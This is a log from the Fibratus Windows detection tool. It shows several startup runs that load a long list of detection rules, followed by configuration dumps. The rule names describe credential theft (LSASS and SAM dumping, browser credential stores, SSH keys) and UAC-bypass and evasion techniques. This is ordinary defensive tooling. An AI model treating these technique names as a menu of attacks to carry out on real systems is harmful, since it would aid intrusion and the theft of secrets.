C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-09T17:57:13+01:00 level=info msg=bootstrapping with pid 3444. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-09T17:57:13+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false port=>25 to=>[] content-type=>text/html use-template=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false stack-enrichment=>true enable-registry=>true buffer-size=>512 enable-net=>true enable-thread=>true min-buffers=>16 enable-mem=>false enable-audit-api=>true enable-vamap=>true max-buffers=>36 enable-dns=>false flush-interval=>1s enable-image=>true enable-threadpool=>false enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-age=>0 formatter=>text max-backups=>15 max-size=>100 level=>info] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ flush-period=>1s index-name=>fibratus sniff=>false template-name=>fibratus healthcheck-timeout=>5s timeout=>5s bulk-workers=>1 servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s healthcheck=>true enabled=>false trace-log=>false gzip-compression=>false] http=>[ timeout=>5s enabled=>false endpoints=>[] method=>POST serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false] amqp=>[ enabled=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false routing-key=>fibratus durable=>false exchange=>fibratus timeout=>5s vhost=>/ exchange-type=>topic passive=>false delivery-mode=>transient]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-sections=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-registry=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false excluded-procs=>[] skip-mmaps=>false fastscan=>true excluded-files=>[] enabled=>false skip-files=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-09T17:57:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-09T17:57:28+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-09T17:59:47+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-09T17:59:47+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-09T17:59:48+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-09T18:01:12+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:01:12+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-09T18:01:12+01:00 level=info msg=bootstrapping with pid 5708. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-09T18:01:12+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] content-type=>text/html enabled=>false use-template=>true port=>25] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false] + eventsource .................... [ flush-interval=>1s enable-image=>true enable-fileio=>true enable-handle=>false enable-audit-api=>true enable-registry=>true enable-threadpool=>false enable-net=>true stack-enrichment=>true min-buffers=>16 enable-dns=>false enable-vamap=>true enable-mem=>false enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 level=>info max-age=>0 max-backups=>15 formatter=>text log-stdout=>true] + output ......................... [ elasticsearch=>[ flush-period=>1s bulk-workers=>1 healthcheck-interval=>10s timeout=>5s template-name=>fibratus enabled=>false gzip-compression=>false healthcheck-timeout=>5s healthcheck=>true index-name=>fibratus servers=>[http://127.0.0.1:9200] sniff=>false trace-log=>false] amqp=>[ enabled=>false timeout=>5s routing-key=>fibratus tls-insecure-skip-verify=>false exchange-type=>topic passive=>false exchange=>fibratus vhost=>/ delivery-mode=>transient url=>amqp://localhost:5672 durable=>false] http=>[ endpoints=>[] serializer=>json enable-gzip=>false enabled=>false timeout=>5s tls-insecure-skip-verify=>false method=>POST] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-mmaps=>false skip-allocs=>false fastscan=>true excluded-procs=>[] enabled=>false scan-timeout=>10s excluded-files=>[] skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-09T18:01:13+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-09T18:01:15+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-09T18:01:48+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-09T18:01:48+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-09T18:01:48+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-09T18:02:42+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-09T18:02:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 